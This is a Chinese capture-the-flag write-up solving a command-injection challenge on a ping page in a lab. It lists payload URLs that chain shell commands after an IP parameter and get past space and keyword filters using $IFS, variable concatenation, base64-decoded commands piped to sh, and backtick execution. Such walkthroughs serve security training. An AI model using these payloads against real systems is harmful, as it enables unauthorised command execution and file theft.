BUUCTF[GXYCTF2019]Ping Ping Ping 1
题目
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/
解题过程
1.尝试ping一下127.0.0.1
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1
2.尝试查看当前目录下的内容
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;ls
3.尝试查看flag.php的文件内容,发现空格和flag都被过滤了。
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;cat flag.php;
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;flag.php;
4.尝试参数替代
1.在linux 空格可以用以下字符串代替: %09(tab)、$IFS$9(9可以换成1-9中间的数字,$0是返回当前的shell类型,所以不能用)、 ${IFS}、<> 、%20(space)等 //<>需要写的权限
2.变量拼接字符串 shell可以使用变量来拼接字符串,当做命令来使用,shell类型不一样可能会有些不同。一般用的是bash
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;a=l;b=s;$a$b;
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;a=l;cat$IFS$9f$aag.php
5.查看源码
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;a=l;cat$IFS$9index.php
解法
1.变量拼接字符串
http://06590c75-6f53-45ea-b42d-b2034e4cd98e.node4.buuoj.cn:81/?ip=127.0.0.1;b=ag.php;a=fl;tac$IFS$9$a$b
2.使用管道符(这里bash被黑名单过滤了,不然也可以使用)
sh是bash的缩减版本,但大多数命令都是一样的,这里的sh本来为bash,但bash被过滤我们就用sh。
|是管道符,意思为把|前的语句执行结果作为|后面的输入数据。Y2F0IGZsYWcucGhw经过base64解码后就是cat
flag.php。base64$IFS$1-d就是base64 -d,-d就是-decode解码。
整句内容:?ip=127.0.0.1;echo Y2F0IGZsYWcucGhw|base64 -d|sh
=》?ip=127.0.0.1;echo cat flag.php|sh =》?ip=127.0.0.1;cat flag.php
3.使用内联执行
反引号在linux中作为内联执行,内联,就是将反引号内命令的输出作为输入执行
payload:?ip=127.0.0.1;tac$IFS$9\`ls\`
``能当做system一样执行ls命令,ls的结果为flag.php和index.php
所以意思为:
?ip=127.0.0.1;tac flag.php index.php
然后查看源代码
http://def2b6e9-244d-4caa-a92e-b33d5210c7b3.node4.buuoj.cn:81/?ip=127.0.0.1;tac$IFS$9`ls`
补充知识
cat和tac的区别:
-
tac命令与cat命令展示内容相反,用于将文件以行为单位的反序输出,即第一行最后显示,最后一行先显示,且不能带行输出
-
cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来